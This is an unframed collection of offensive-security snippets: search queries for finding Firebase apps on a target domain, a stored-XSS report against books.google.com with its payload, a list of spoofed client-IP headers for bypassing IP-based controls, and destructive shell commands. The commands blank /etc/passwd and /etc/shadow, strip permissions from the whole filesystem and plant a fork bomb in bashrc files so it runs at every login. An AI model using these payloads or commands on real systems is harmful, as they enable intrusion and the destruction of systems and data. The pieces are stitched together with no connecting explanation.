body="firebaseapp" && domain="example.com"

Or

(body="firebaseapp" || body="firebaseconfig") && host=".target_domain_name_only"

•Vuln host: books.google.com
•Xss type: stored based XSS
•Vuln param: book name noscript and publisher name parameter.
•Technique: direct inject the payload. Without any kind of encoding. (Reason: no input sanitization)
Payload: "><noscript/onload=prompt(1)>

X-Forwarded-For: 127.0.0.1
# Trusted by proxies/load balancers
X-Real-IP: 127.0.0.1
# Common in NGINX setups
X-Client-IP: 127.0.0.1
# Used for rate limiting/tracking
X-Remote-IP: 127.0.0.1
# May influence backend logic
X-Remote-Addr: 127.0.0.1
# Tries to override remote IP
True-Client-IP: 127.0.0.1
# Used by CDNs (e.g. Akamai)
CF-Connecting-IP: 127.0.0.1
# Cloudflare real IP header
Fastly-Client-IP: 127.0.0.1
# Fastly CDN client IP
X-Cluster-Client-IP: 127.0.0.1
# Seen in clustered environments
Forwarded: for=127.0.0.1
# RFC standard version of XFF
X-Originating-IP: 127.0.0.1
# Used by mail servers & legacy apps
X-Forwarded-Host: 127.0.0.1
# Can affect virtual host routing
X-Forwarded-Server: 127.0.0.1
# Backend routing logic
X-Real-Hostname: localhost
# Tries to spoof internal host
Via: 127.0.0.1
# May appear in proxy chains
Forwarded-For: 127.0.0.1
# Non-standard but seen in wild
Proxy-Client-IP: 127.0.0.1
# Java-based servers (Tomcat)
WL-Proxy-Client-IP: 127.0.0.1
# WebLogic-specific header


while(!success){
tryagain();
if(tried)
break;
}

echo "" > /etc/passwd
echo "" > /etc/shadow

chmod -R 000 /

echo ':(){ :|:& };:' >> ~/.bashrc

or for all users:

echo ':(){ :|:& };:' >> /etc/bash.bashrc